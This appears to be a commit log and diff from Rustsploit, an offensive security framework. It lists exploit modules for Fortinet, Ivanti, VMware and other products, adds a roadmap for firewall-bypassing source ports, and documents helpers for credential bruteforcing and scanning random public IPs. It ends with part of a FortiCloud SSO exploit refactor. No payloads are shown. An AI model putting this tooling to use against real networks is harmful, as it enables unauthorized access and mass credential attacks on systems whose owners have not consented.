fortiweb_rce
|
||||
,
|
||||
fortisiem_rce
|
||||
,
|
||||
fortiweb_sqli_rce
|
||||
,
|
||||
forticloud_sso
|
||||
|
||||
Ivanti:
|
||||
ivanti_epmm
|
||||
(ivanti_connect_secure skipped — no prompts)
|
||||
|
||||
QNAP:
|
||||
qnap_qts_rce
|
||||
|
||||
Trend Micro:
|
||||
cve_2025_5777
|
||||
,
|
||||
cve_2025_69258
|
||||
,
|
||||
cve_2025_69259
|
||||
,
|
||||
cve_2025_69260
|
||||
|
||||
VMware:
|
||||
esxi_vm_escape
|
||||
,
|
||||
vcenter_backup_rce
|
||||
,
|
||||
vcenter_file_read
|
||||
,
|
||||
esxi_vsock_client
|
||||
|
||||
Routers (2 files)
|
||||
ruijie_rsr_router
|
||||
,
|
||||
ubiquiti_edgerouter
|
||||
|
||||
Telnet (1 file)
|
||||
telnet_auth_bypass
|
||||
(telnet_bruteforce.rs and telnet_hose.rs already API-compatible)
|
||||
|
||||
|
||||
converted more modules to api support so tired gang
|
||||
|
||||
@@ -0,0 +1,2 @@
|
||||
# About Me
|
||||
|
||||
@@ -0,0 +1,2 @@
|
||||
# Donation
|
||||
|
||||
@@ -0,0 +1,22 @@
|
||||
# Future Features Roadmap
|
||||
|
||||
Rustsploit is under active development. Below are some of the major features planned for upcoming releases.
|
||||
|
||||
## 1. 3rd-Party Plugin System
|
||||
We plan to introduce a `plugins/` directory to allow users to drop in custom, pre-compiled modules or scripts without modifying the core Rustsploit source code.
|
||||
- **Goal:** Enable a vibrant community ecosystem of custom exploits and scanners.
|
||||
- **Implementation:** Likely utilizing library loading (`.rs)
|
||||
|
||||
## 2. Instant Configuration Loading
|
||||
Currently, modules are configured interactively or via API JSON payloads. We plan to add support for instantly loading configuration profiles from disk.
|
||||
- **Goal:** Allow users to save their favorite scan parameters (wordlists, threads, timeouts) to a `.toml` or `.yaml` file and load them instantly.
|
||||
- **Usage Idea:** `run exploits/tomcat_rce --config profiles/aggressive.toml` or `set config profiles/aggressive.toml` in the shell.
|
||||
|
||||
## 3. Dynamic Source Port Modification
|
||||
While we currently support advanced networking like IP spoofing in specific flood modules, we plan to bring dynamic source port control to the framework level.
|
||||
- **Goal:** Allow scanners and exploit modules to bind to specific source ports (e.g., source port 53) to bypass poorly configured firewalls that trust traffic originating from privileged ports.
|
||||
- **Implementation:** Extending the global configuration and socket helpers to accept an optional `bind_port` parameter.
|
||||
|
||||
---
|
||||
|
||||
*If you'd like to contribute to any of these features, please check out the [Contributing Guide](Contributing.md) and open a pull request!*
|
||||
@@ -11,7 +11,7 @@ Rustsploit is a modular offensive tooling framework for embedded targets, writte
|
||||
**Debian / Ubuntu / Kali:**
|
||||
```bash
|
||||
sudo apt update
|
||||
sudo apt install pkg-config libssl-dev rustc libdbus-1-dev freerdp2-x11
|
||||
sudo apt install pkg-config libssl-dev rustc libdbus-1-dev
|
||||
```
|
||||
|
||||
**Arch Linux:**
|
||||
|
||||
@@ -25,6 +25,9 @@ Welcome to the Rustsploit documentation hub. Use the links below to navigate to
|
||||
| [Changelog](Changelog.md) | Release notes and version history |
|
||||
| [Contributing](Contributing.md) | Fork guide, PR checklist, code style |
|
||||
| [Credits](Credits.md) | Authors, acknowledgements, legal notice |
|
||||
| [Future Features](Future-Features.md) | Roadmap: Plugins, Config Loading, Source Port modifications |
|
||||
| [About Me](About-Me.md) | Information about the author |
|
||||
| [Donation](Donation.md) | Ways to support the project |
|
||||
|
||||
---
|
||||
|
||||
|
||||
+532
-82
@@ -1,131 +1,581 @@
|
||||
# Utilities & Helpers
|
||||
|
||||
`src/utils.rs` provides shared helpers used across shells, CLI, API, and modules. Prefer these over rolling your own to ensure consistent validation and behavior.
|
||||
Rustsploit provides three utility modules that every module developer should know:
|
||||
|
||||
| Module | Import Path | Purpose |
|
||||
|--------|-------------|---------|
|
||||
| **Core Utils** | `crate::utils` | Target normalization, file loading, config-aware prompts, input validation |
|
||||
| **Creds Utils** | `crate::modules::creds::utils` | Bruteforce statistics, subnet helpers, IP exclusion, scan state tracking |
|
||||
| **Config** | `crate::config` | Global target state, module config, API prompt keys, results directory |
|
||||
|
||||
---
|
||||
|
||||
## Target Normalization
|
||||
## `crate::utils` — Core Utilities
|
||||
|
||||
### `normalize_target(raw: &str) -> Result<String>`
|
||||
### `load_lines(path) → Result<Vec<String>>`
|
||||
|
||||
Comprehensive target normalization and validation. Accepts:
|
||||
Reads a file line-by-line, trims whitespace, and drops empty lines. The standard way to load wordlists, username files, or any line-delimited input.
|
||||
|
||||
| Input | Example |
|
||||
|-------|---------|
|
||||
```rust
|
||||
use crate::utils::load_lines;
|
||||
|
||||
let passwords = load_lines("passwords.txt")?;
|
||||
for pw in &passwords {
|
||||
// each entry is trimmed, non-empty
|
||||
}
|
||||
```
|
||||
|
||||
| Parameter | Type | Description |
|
||||
|-----------|------|-------------|
|
||||
| `path` | `impl AsRef<Path>` | Path to the file to read |
|
||||
|
||||
**Returns:** `Vec<String>` of non-empty, trimmed lines. Errors if the file cannot be opened.
|
||||
|
||||
---
|
||||
|
||||
### `normalize_target(raw) → Result<String>`
|
||||
|
||||
Comprehensive target normalization and validation. This is the **single entry point** for converting any user-supplied target into a consistent format.
|
||||
|
||||
```rust
|
||||
use crate::utils::normalize_target;
|
||||
|
||||
let target = normalize_target(user_input)?;
|
||||
// target is now in one of:
|
||||
// "192.168.1.1" (IPv4)
|
||||
// "192.168.1.1:8080" (IPv4 + port)
|
||||
// "[::1]" (IPv6)
|
||||
// "[::1]:8080" (IPv6 + port)
|
||||
// "example.com" (hostname)
|
||||
// "192.168.1.0/24" (CIDR)
|
||||
```
|
||||
|
||||
| Input Format | Example |
|
||||
|--------------|---------|
|
||||
| IPv4 | `192.168.1.1` |
|
||||
| IPv4 + port | `192.168.1.1:8080` |
|
||||
| IPv6 | `::1`, `2001:db8::1` |
|
||||
| IPv6 + port | `[::1]:8080` |
|
||||
| Hostname | `example.com`, `example.com:443` |
|
||||
| URL | `http://example.com:8080` (extracts host:port) |
|
||||
| URL | `http://example.com:8080` → extracts `example.com:8080` |
|
||||
| CIDR | `192.168.1.0/24`, `2001:db8::/32` |
|
||||
|
||||
Validates against: DoS-length abuse, control characters, path traversal patterns.
|
||||
|
||||
```rust
|
||||
use crate::utils::normalize_target;
|
||||
|
||||
let target = normalize_target(raw_input)?;
|
||||
```
|
||||
|
||||
### `extract_ip_from_target(target: &str) -> Result<String>`
|
||||
|
||||
Extracts the IP address or hostname from a normalized target string, stripping ports, brackets, and CIDR notation.
|
||||
**Security:** Validates against DoS-length abuse (max 2048 chars), control characters, and path traversal patterns (`..`, `//`).
|
||||
|
||||
---
|
||||
|
||||
## Honeypot Detection
|
||||
### Config-Aware Prompt Wrappers (`cfg_prompt_*`)
|
||||
|
||||
### `basic_honeypot_check(ip: &str) -> ()`
|
||||
These are the **recommended prompts for module authors**. They check `ModuleConfig.custom_prompts` first (populated by the API), falling back to interactive stdin when running in shell mode. This makes your module work seamlessly in both shell and API modes.
|
||||
|
||||
Scans 200 common ports with a 250 ms timeout per port. Prints a warning if 11 or more respond.
|
||||
#### `cfg_prompt_yes_no(key, msg, default_yes) → Result<bool>`
|
||||
|
||||
Runs automatically before module execution in the shell. Call manually in module code if needed:
|
||||
Boolean prompt. Accepts `y/yes/true/1` and `n/no/false/0`.
|
||||
|
||||
```rust
|
||||
use crate::utils::basic_honeypot_check;
|
||||
basic_honeypot_check(&ip).await;
|
||||
use crate::utils::cfg_prompt_yes_no;
|
||||
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Enable verbose output?", false)?;
|
||||
```
|
||||
|
||||
| Parameter | Type | Description |
|
||||
|-----------|------|-------------|
|
||||
| `key` | `&str` | Lookup key in `ModuleConfig.custom_prompts` |
|
||||
| `msg` | `&str` | Prompt message shown to user in shell mode |
|
||||
| `default_yes` | `bool` | Default when input is empty or key absent in API mode |
|
||||
|
||||
---
|
||||
|
||||
#### `cfg_prompt_existing_file(key, msg) → Result<String>`
|
||||
|
||||
Prompts for a file path. Validates the file exists, rejects path traversal (`..`), symlinks, and control characters.
|
||||
|
||||
```rust
|
||||
use crate::utils::cfg_prompt_existing_file;
|
||||
|
||||
let wordlist = cfg_prompt_existing_file("password_wordlist", "Password wordlist file")?;
|
||||
let lines = load_lines(&wordlist)?;
|
||||
```
|
||||
|
||||
| Parameter | Type | Description |
|
||||
|-----------|------|-------------|
|
||||
| `key` | `&str` | Prompt key for API mode |
|
||||
| `msg` | `&str` | Interactive prompt message |
|
||||
|
||||
**Errors** in API mode if key is missing (required field).
|
||||
|
||||
---
|
||||
|
||||
#### `cfg_prompt_int_range(key, msg, default, min, max) → Result<i64>`
|
||||
|
||||
Integer prompt with range validation.
|
||||
|
||||
```rust
|
||||
use crate::utils::cfg_prompt_int_range;
|
||||
|
||||
let threads = cfg_prompt_int_range("threads", "Number of threads", 10, 1, 100)?;
|
||||
let delay = cfg_prompt_int_range("delay_ms", "Delay between attempts (ms)", 50, 0, 60000)?;
|
||||
```
|
||||
|
||||
| Parameter | Type | Description |
|
||||
|-----------|------|-------------|
|
||||
| `key` | `&str` | Prompt key |
|
||||
| `msg` | `&str` | Interactive prompt message |
|
||||
| `default` | `i64` | Default value |
|
||||
| `min` | `i64` | Minimum allowed value |
|
||||
| `max` | `i64` | Maximum allowed value |
|
||||
|
||||
---
|
||||
|
||||
#### `cfg_prompt_default(key, msg, default) → Result<String>`
|
||||
|
||||
Generic string prompt with a default value.
|
||||
|
||||
```rust
|
||||
use crate::utils::cfg_prompt_default;
|
||||
|
||||
let method = cfg_prompt_default("http_method", "HTTP method", "GET")?;
|
||||
```
|
||||
|
||||
| Parameter | Type | Description |
|
||||
|-----------|------|-------------|
|
||||
| `key` | `&str` | Prompt key |
|
||||
| `msg` | `&str` | Interactive prompt message |
|
||||
| `default` | `&str` | Default value when empty |
|
||||
|
||||
---
|
||||
|
||||
#### `cfg_prompt_port(key, msg, default) → Result<u16>`
|
||||
|
||||
Port number prompt. Validates range 1–65535.
|
||||
|
||||
```rust
|
||||
use crate::utils::cfg_prompt_port;
|
||||
|
||||
let port = cfg_prompt_port("port", "Target port", 22)?;
|
||||
```
|
||||
|
||||
| Parameter | Type | Description |
|
||||
|-----------|------|-------------|
|
||||
| `key` | `&str` | Prompt key |
|
||||
| `msg` | `&str` | Interactive prompt message |
|
||||
| `default` | `u16` | Default port number |
|
||||
|
||||
---
|
||||
|
||||
#### `cfg_prompt_output_file(key, msg, default) → Result<String>`
|
||||
|
||||
Output filename prompt. **Forces basename only** — strips any directory path to prevent traversal. Rejects hidden files (starting with `.`) and filenames over 255 chars.
|
||||
|
||||
```rust
|
||||
use crate::utils::cfg_prompt_output_file;
|
||||
|
||||
let output = cfg_prompt_output_file("output_file", "Output file", "results.txt")?;
|
||||
// output is guaranteed to be a safe basename like "results.txt"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Prompt Helpers
|
||||
### Complete Module Integration Example
|
||||
|
||||
All prompts use `read_safe_input` internally, which enforces `MAX_COMMAND_LENGTH`, strips null bytes, and warns on suspicious patterns without blocking.
|
||||
|
||||
| Function | Description |
|
||||
|----------|-------------|
|
||||
| `prompt_input(msg)` | Generic string input (empty allowed) |
|
||||
| `prompt_required(msg)` | String input — loops until non-empty |
|
||||
| `prompt_default(msg, default)` | String input with fallback default |
|
||||
| `prompt_yes_no(msg, default)` | Boolean prompt — returns `bool` |
|
||||
| `prompt_port(msg, default)` | Port number prompt — validates 1–65535 |
|
||||
Here's a typical module using all the core utils together:
|
||||
|
||||
```rust
|
||||
use crate::utils::{prompt_input, prompt_required, prompt_default, prompt_yes_no, prompt_port};
|
||||
use crate::utils::{
|
||||
load_lines, normalize_target,
|
||||
cfg_prompt_yes_no, cfg_prompt_existing_file, cfg_prompt_int_range,
|
||||
cfg_prompt_default, cfg_prompt_port, cfg_prompt_output_file,
|
||||
};
|
||||
|
||||
let host = prompt_required("Target host: ")?;
|
||||
let port = prompt_port("Port", 22)?;
|
||||
let verbose = prompt_yes_no("Verbose output?", false)?;
|
||||
```
|
||||
pub async fn run(target: &str) -> anyhow::Result<()> {
|
||||
let target = normalize_target(target)?;
|
||||
|
||||
---
|
||||
// Gather config — works in both shell and API mode
|
||||
let port = cfg_prompt_port("port", "Target port", 22)?;
|
||||
let user_file = cfg_prompt_existing_file("user_wordlist", "Username wordlist")?;
|
||||
let pass_file = cfg_prompt_existing_file("pass_wordlist", "Password wordlist")?;
|
||||
let threads = cfg_prompt_int_range("threads", "Threads", 10, 1, 100)? as usize;
|
||||
let delay = cfg_prompt_int_range("delay_ms", "Delay (ms)", 50, 0, 60000)? as u64;
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose output?", false)?;
|
||||
let output = cfg_prompt_output_file("output_file", "Output file", "results.txt")?;
|
||||
|
||||
## Module Discovery
|
||||
// Load wordlists
|
||||
let users = load_lines(&user_file)?;
|
||||
let passwords = load_lines(&pass_file)?;
|
||||
|
||||
| Function | Description |
|
||||
|----------|-------------|
|
||||
| `module_exists(name)` | Check if a module name is registered |
|
||||
| `list_all_modules()` | Returns all registered module paths |
|
||||
| `find_modules(keyword)` | Fuzzy search modules by keyword |
|
||||
|
||||
Used by the shell's `modules`, `find`, and `use` commands. Also used for fuzzy match suggestions (e.g., `sample_xploit` → `sample_exploit`).
|
||||
|
||||
---
|
||||
|
||||
## File Helpers
|
||||
|
||||
When reading files in modules, follow this pattern:
|
||||
|
||||
```rust
|
||||
use std::path::Path;
|
||||
|
||||
fn safe_read_file(path: &str) -> Result<String> {
|
||||
// 1. Check for traversal
|
||||
if path.contains("..") {
|
||||
return Err(anyhow!("Path traversal detected"));
|
||||
}
|
||||
// 2. Canonicalize
|
||||
let real = Path::new(path).canonicalize()?;
|
||||
// 3. Check size
|
||||
let meta = std::fs::metadata(&real)?;
|
||||
if meta.len() > MAX_FILE_SIZE {
|
||||
return Err(anyhow!("File too large"));
|
||||
}
|
||||
// 4. Skip symlinks
|
||||
if meta.file_type().is_symlink() {
|
||||
return Err(anyhow!("Symlinks not allowed"));
|
||||
}
|
||||
Ok(std::fs::read_to_string(real)?)
|
||||
println!("[*] Targeting {} with {} users × {} passwords", target, users.len(), passwords.len());
|
||||
// ... bruteforce logic ...
|
||||
Ok(())
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## `crate::modules::creds::utils` — Credential Module Utilities
|
||||
|
||||
Import path:
|
||||
|
||||
```rust
|
||||
use crate::modules::creds::utils::{
|
||||
BruteforceStats, is_subnet_target, parse_subnet, subnet_host_count,
|
||||
generate_random_public_ip, is_ip_checked, mark_ip_checked, parse_exclusions,
|
||||
};
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### `BruteforceStats`
|
||||
|
||||
Thread-safe statistics tracker for bruteforce modules. Uses atomics for counters and a `Mutex<HashMap>` for error categorization. Create one per module run and share via `Arc`.
|
||||
|
||||
```rust
|
||||
use std::sync::Arc;
|
||||
use crate::modules::creds::utils::BruteforceStats;
|
||||
|
||||
let stats = Arc::new(BruteforceStats::new());
|
||||
|
||||
// In each worker task:
|
||||
let stats = Arc::clone(&stats);
|
||||
tokio::spawn(async move {
|
||||
match attempt_login(&host, &user, &pass).await {
|
||||
Ok(true) => stats.record_success(),
|
||||
Ok(false) => stats.record_failure(),
|
||||
Err(e) => stats.record_error(format!("{}", e)).await,
|
||||
}
|
||||
|
||||
// Show live progress (prints inline with \r)
|
||||
stats.print_progress();
|
||||
});
|
||||
|
||||
// After all tasks complete:
|
||||
stats.print_final().await;
|
||||
```
|
||||
|
||||
#### Methods
|
||||
|
||||
| Method | Async | Description |
|
||||
|--------|-------|-------------|
|
||||
| `BruteforceStats::new()` | No | Create a new stats tracker (starts the timer) |
|
||||
| `.record_success()` | No | Increment total + successful counters |
|
||||
| `.record_failure()` | No | Increment total + failed counters |
|
||||
| `.record_error(msg)` | **Yes** | Increment total + error counters, log error message |
|
||||
| `.record_retry()` | No | Increment retry counter |
|
||||
| `.print_progress()` | No | Print inline progress bar (`\r` overwrite) |
|
||||
| `.print_final()` | **Yes** | Print full statistics summary with top 5 errors |
|
||||
|
||||
---
|
||||
|
||||
### `is_subnet_target(target) → bool`
|
||||
|
||||
Check if a target string is CIDR notation (e.g., `192.168.8.0/21`). Use this to branch between single-host and subnet-scan logic.
|
||||
|
||||
```rust
|
||||
use crate::modules::creds::utils::is_subnet_target;
|
||||
|
||||
if is_subnet_target(&target) {
|
||||
// Iterate subnet
|
||||
} else {
|
||||
// Single host
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### `parse_subnet(target) → Result<IpNetwork>`
|
||||
|
||||
Parse a CIDR string into an `ipnetwork::IpNetwork`. **Does NOT allocate a Vec** — callers iterate lazily with `.iter()`, making it safe for any prefix size (`/0` through `/32`).
|
||||
|
||||
```rust
|
||||
use crate::modules::creds::utils::parse_subnet;
|
||||
|
||||
let network = parse_subnet("192.168.1.0/24")?;
|
||||
for ip in network.iter() {
|
||||
println!("Scanning {}", ip);
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### `subnet_host_count(net) → u128`
|
||||
|
||||
Returns the number of host IPs in a network. Useful for progress display and ETA calculations.
|
||||
|
||||
```rust
|
||||
use crate::modules::creds::utils::{parse_subnet, subnet_host_count};
|
||||
|
||||
let net = parse_subnet("10.0.0.0/8")?;
|
||||
println!("Scanning {} hosts", subnet_host_count(&net));
|
||||
// → "Scanning 16777216 hosts"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### `generate_random_public_ip(exclusions) → IpAddr`
|
||||
|
||||
Generates a random IPv4 address that is **not** in any excluded range. Automatically skips `10.x.x.x`, `127.x.x.x`, and `0.x.x.x` in addition to the provided exclusion list. Used by mass-scanning modules (Camxploit, etc.).
|
||||
|
||||
```rust
|
||||
use crate::modules::creds::utils::{generate_random_public_ip, parse_exclusions};
|
||||
|
||||
let exclusions = parse_exclusions(&[
|
||||
"10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16", // Private
|
||||
"100.64.0.0/10", // CGNAT
|
||||
"224.0.0.0/4", // Multicast
|
||||
]);
|
||||
|
||||
let ip = generate_random_public_ip(&exclusions);
|
||||
println!("Random target: {}", ip);
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### `parse_exclusions(cidrs) → Vec<IpNetwork>`
|
||||
|
||||
Parses an array of CIDR strings into `IpNetwork` objects for use with `generate_random_public_ip`. Invalid CIDRs are silently skipped.
|
||||
|
||||
```rust
|
||||
use crate::modules::creds::utils::parse_exclusions;
|
||||
|
||||
let excluded = parse_exclusions(&["10.0.0.0/8", "192.168.0.0/16", "not-valid"]);
|
||||
// excluded.len() == 2 (invalid entry silently dropped)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### `is_ip_checked(ip, state_file) → bool` / `mark_ip_checked(ip, state_file)`
|
||||
|
||||
Persistent scan-state tracking. Prevents re-scanning the same IP across multiple runs by writing `checked: <ip>` lines to a state file.
|
||||
|
||||
```rust
|
||||
use crate::modules::creds::utils::{is_ip_checked, mark_ip_checked};
|
||||
|
||||
let state_file = "mqtt_cidr_results.txt";
|
||||
|
||||
for ip in network.iter() {
|
||||
if is_ip_checked(&ip, state_file).await {
|
||||
continue; // Already scanned
|
||||
}
|
||||
|
||||
// ... scan the IP ...
|
||||
|
||||
mark_ip_checked(&ip, state_file).await;
|
||||
}
|
||||
```
|
||||
|
||||
| Function | Async | Description |
|
||||
|----------|-------|-------------|
|
||||
| `is_ip_checked(ip, state_file)` | **Yes** | Returns `true` if IP was previously marked. Creates the state file if missing. |
|
||||
| `mark_ip_checked(ip, state_file)` | **Yes** | Appends `checked: <ip>` to the state file. |
|
||||
|
||||
> **Note:** Both functions accept any type implementing `ToString` for the IP parameter.
|
||||
|
||||
---
|
||||
|
||||
## Complete Credential Module Example
|
||||
|
||||
Putting both utility modules together in a real bruteforce module:
|
||||
|
||||
```rust
|
||||
use std::sync::Arc;
|
||||
use crate::utils::{
|
||||
load_lines, normalize_target,
|
||||
cfg_prompt_port, cfg_prompt_existing_file,
|
||||
cfg_prompt_int_range, cfg_prompt_yes_no, cfg_prompt_output_file,
|
||||
};
|
||||
use crate::modules::creds::utils::{
|
||||
BruteforceStats, is_subnet_target, parse_subnet, subnet_host_count,
|
||||
generate_random_public_ip, is_ip_checked, mark_ip_checked, parse_exclusions,
|
||||
};
|
||||
|
||||
pub async fn run(target: &str) -> anyhow::Result<()> {
|
||||
let target = normalize_target(target)?;
|
||||
let port = cfg_prompt_port("port", "Target port", 1883)?;
|
||||
let user_file = cfg_prompt_existing_file("user_wordlist", "Username wordlist")?;
|
||||
let pass_file = cfg_prompt_existing_file("pass_wordlist", "Password wordlist")?;
|
||||
let threads = cfg_prompt_int_range("threads", "Threads", 10, 1, 200)? as usize;
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose?", false)?;
|
||||
let output = cfg_prompt_output_file("output_file", "Output file", "results.txt")?;
|
||||
|
||||
let users = load_lines(&user_file)?;
|
||||
let passwords = load_lines(&pass_file)?;
|
||||
let stats = Arc::new(BruteforceStats::new());
|
||||
|
||||
if is_subnet_target(&target) {
|
||||
let network = parse_subnet(&target)?;
|
||||
println!("[*] Subnet scan: {} hosts", subnet_host_count(&network));
|
||||
for ip in network.iter() {
|
||||
if is_ip_checked(&ip, &output).await { continue; }
|
||||
// ... bruteforce ip ...
|
||||
mark_ip_checked(&ip, &output).await;
|
||||
}
|
||||
} else {
|
||||
// ... single host bruteforce ...
|
||||
}
|
||||
|
||||
stats.print_final().await;
|
||||
Ok(())
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## `crate::config` — Framework Configuration
|
||||
|
||||
Import path:
|
||||
|
||||
```rust
|
||||
use crate::config::{
|
||||
GLOBAL_CONFIG, GlobalConfig, TargetConfig,
|
||||
ModuleConfig, get_module_config, set_module_config, clear_module_config,
|
||||
results_dir,
|
||||
};
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### `GLOBAL_CONFIG` (static `GlobalConfig`)
|
||||
|
||||
Thread-safe singleton that holds the current target. Set by the shell (`set target`) or CLI (`--target`). Module code reads it but rarely needs to write to it.
|
||||
|
||||
```rust
|
||||
use crate::config::GLOBAL_CONFIG;
|
||||
|
||||
// Check if a target is set
|
||||
if !GLOBAL_CONFIG.has_target() {
|
||||
println!("No target set!");
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
// Read the target as a string
|
||||
let target = GLOBAL_CONFIG.get_target().unwrap();
|
||||
println!("Targeting: {}", target);
|
||||
```
|
||||
|
||||
#### `GlobalConfig` Methods
|
||||
|
||||
| Method | Returns | Description |
|
||||
|--------|---------|-------------|
|
||||
| `.set_target(target)` | `Result<()>` | Set global target (IP, hostname, or CIDR). Validates input. |
|
||||
| `.get_target()` | `Option<String>` | Get the target as a display string |
|
||||
| `.get_single_target_ip()` | `Result<String>` | Get single IP; for subnets returns the network address |
|
||||
| `.has_target()` | `bool` | Check if any target is set |
|
||||
| `.is_subnet()` | `bool` | `true` if the target is a CIDR subnet |
|
||||
| `.get_target_subnet()` | `Option<IpNetwork>` | Returns the `IpNetwork` if target is a subnet |
|
||||
| `.get_target_size()` | `Option<u64>` | Number of IPs (1 for single, 2^(32-prefix) for subnets) |
|
||||
| `.clear_target()` | `()` | Unset the target |
|
||||
|
||||
#### `TargetConfig` Enum
|
||||
|
||||
```rust
|
||||
use crate::config::TargetConfig;
|
||||
|
||||
pub enum TargetConfig {
|
||||
Single(String), // Single IP or hostname
|
||||
Subnet(IpNetwork), // CIDR subnet
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### `ModuleConfig` & API Prompt Keys
|
||||
|
||||
`ModuleConfig` bridges modules to the API. When the API server receives a `/api/run` request, it populates a `ModuleConfig` with the JSON `"prompts"` object. The `cfg_prompt_*` functions in `utils.rs` read these values instead of prompting stdin.
|
||||
|
||||
#### Struct Fields
|
||||
|
||||
```rust
|
||||
pub struct ModuleConfig {
|
||||
pub port: Option<u16>,
|
||||
pub username_wordlist: Option<String>,
|
||||
pub password_wordlist: Option<String>,
|
||||
pub concurrency: Option<usize>,
|
||||
pub stop_on_success: Option<bool>,
|
||||
pub save_results: Option<bool>,
|
||||
pub output_file: Option<String>,
|
||||
pub verbose: Option<bool>,
|
||||
pub combo_mode: Option<bool>,
|
||||
pub custom_prompts: HashMap<String, String>, // ← cfg_prompt_* reads from here
|
||||
pub api_mode: bool, // ← prevents stdin fallback
|
||||
}
|
||||
```
|
||||
|
||||
#### Helper Functions
|
||||
|
||||
| Function | Description |
|
||||
|----------|-------------|
|
||||
| `get_module_config()` | Get a clone of the current config (safe to call from any module) |
|
||||
| `set_module_config(config)` | Set the config (called by API server before module execution) |
|
||||
| `clear_module_config()` | Reset to defaults (called after module execution) |
|
||||
|
||||
```rust
|
||||
use crate::config::get_module_config;
|
||||
|
||||
let config = get_module_config();
|
||||
if config.api_mode {
|
||||
// Running via API — don't expect stdin
|
||||
}
|
||||
if let Some(port) = config.port {
|
||||
// Use pre-configured port
|
||||
}
|
||||
```
|
||||
|
||||
#### Standardized API Prompt Keys
|
||||
|
||||
When building API requests, use these standardized keys in the `"prompts"` JSON object:
|
||||
|
||||
**Common keys (most modules):**
|
||||
|
||||
| Key | Type | Description |
|
||||
|-----|------|-------------|
|
||||
| `port` | u16 | Target service port |
|
||||
| `timeout` | int | Connection timeout (seconds or ms) |
|
||||
| `verbose` | y/n | Verbose output |
|
||||
| `save_results` | y/n | Save results to file |
|
||||
| `output_file` | string | Output filename |
|
||||
| `concurrency` | int | Concurrent threads/tasks |
|
||||
| `threads` | int | Alias for concurrency |
|
||||
| `wordlist` | path | Path to wordlist file |
|
||||
| `target_file` | path | File containing targets |
|
||||
| `mode` | string | Operation mode (1, 2, 3, etc.) |
|
||||
|
||||
**Scanner-specific keys** (see full list in `config.rs` doc comments):
|
||||
- Port Scanner: `port_range`, `scan_method`, `show_only_open`
|
||||
- Dir Brute: `scan_mode`, `delay_ms`, `random_agent`, `use_https`
|
||||
- Sequential Fuzzer: `min_length`, `max_length`, `charset`, `encoding`
|
||||
- API Endpoint Scanner: `output_dir`, `use_spoofing`, `enable_delete`, `modules`
|
||||
|
||||
---
|
||||
|
||||
### `results_dir() → PathBuf`
|
||||
|
||||
Returns `~/.rustsploit/results/`, creating it if needed. Use this when saving module output in API mode.
|
||||
|
||||
```rust
|
||||
use crate::config::results_dir;
|
||||
|
||||
let out_path = results_dir().join("scan_output.txt");
|
||||
std::fs::write(&out_path, results)?;
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Constants
|
||||
|
||||
| Constant | Value | File |
|
||||
|----------|-------|------|
|
||||
| `MAX_FILE_SIZE` | 10 MB | `utils.rs` |
|
||||
| `MAX_PROXIES` | 100,000 | `utils.rs` |
|
||||
| `MAX_COMMAND_LENGTH` | (see source) | `utils.rs` |
|
||||
| Constant | Value | Purpose |
|
||||
|----------|-------|---------|
|
||||
| `MAX_TARGET_LENGTH` | 2048 | Maximum target string length |
|
||||
| `MAX_MODULE_PATH_LENGTH` | 512 | Maximum module path length |
|
||||
| `MAX_COMMAND_LENGTH` | 8192 | Maximum command/input length |
|
||||
| `MAX_PATH_LENGTH` | 4096 | Maximum file path length |
|
||||
| `MAX_DEPTH` | 6 | Maximum module discovery depth |
|
||||
| `MAX_HOSTNAME_LENGTH` | 253 | Maximum hostname length (config.rs) |
|
||||
|
||||
---
|
||||
|
||||
## Extending Utils
|
||||
|
||||
Add new reusable helpers to `utils.rs` rather than copy-pasting into individual modules. Common candidates:
|
||||
- Credential loaders (stream a wordlist in chunks)
|
||||
Add new reusable helpers to `utils.rs`, `creds/utils.rs`, or `config.rs` rather than copy-pasting into individual modules. Common candidates:
|
||||
- HTTP header templates
|
||||
- Response fingerprinting helpers
|
||||
- Common error formatters
|
||||
- Credential loaders with streaming support
|
||||
|
||||
+14
-60
@@ -37,8 +37,8 @@ use colored::*;
|
||||
use reqwest::Client;
|
||||
use serde::Deserialize;
|
||||
use serde_json::json;
|
||||
use std::io::Write;
|
||||
use std::time::Duration;
|
||||
use crate::utils::{cfg_prompt_required, cfg_prompt_default, cfg_prompt_port, cfg_prompt_yes_no};
|
||||
|
||||
const FORTICLOUD_AUTH_URL: &str = "https://customerapiauth.fortinet.com/api/v1/auth/token";
|
||||
const DEFAULT_PORT: u16 = 443;
|
||||
@@ -97,11 +97,7 @@ fn get_user_config(target: &str) -> Result<ExploitConfig> {
|
||||
|
||||
// Target
|
||||
config.target = if target.is_empty() {
|
||||
print!("{}", "Enter target IP/hostname: ".green());
|
||||
std::io::stdout().flush().context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input).context("Failed to read input")?;
|
||||
let t = input.trim().to_string();
|
||||
let t = cfg_prompt_required("target", "Target IP/hostname")?;
|
||||
if t.is_empty() {
|
||||
bail!("Target is required");
|
||||
}
|
||||
@@ -110,77 +106,38 @@ fn get_user_config(target: &str) -> Result<ExploitConfig> {
|
||||
target.to_string()
|
||||
};
|
||||
|
||||
let mut input = String::new();
|
||||
|
||||
// Port
|
||||
print!("{}", format!("Target port [default: {}]: ", DEFAULT_PORT).green());
|
||||
std::io::stdout().flush().context("Failed to flush stdout")?;
|
||||
input.clear();
|
||||
std::io::stdin().read_line(&mut input).context("Failed to read input")?;
|
||||
if let Ok(p) = input.trim().parse::<u16>() {
|
||||
config.port = p;
|
||||
}
|
||||
config.port = cfg_prompt_port("port", "Target port", DEFAULT_PORT)?;
|
||||
|
||||
// FortiCloud username
|
||||
print!("{}", "FortiCloud username (attacker account): ".green());
|
||||
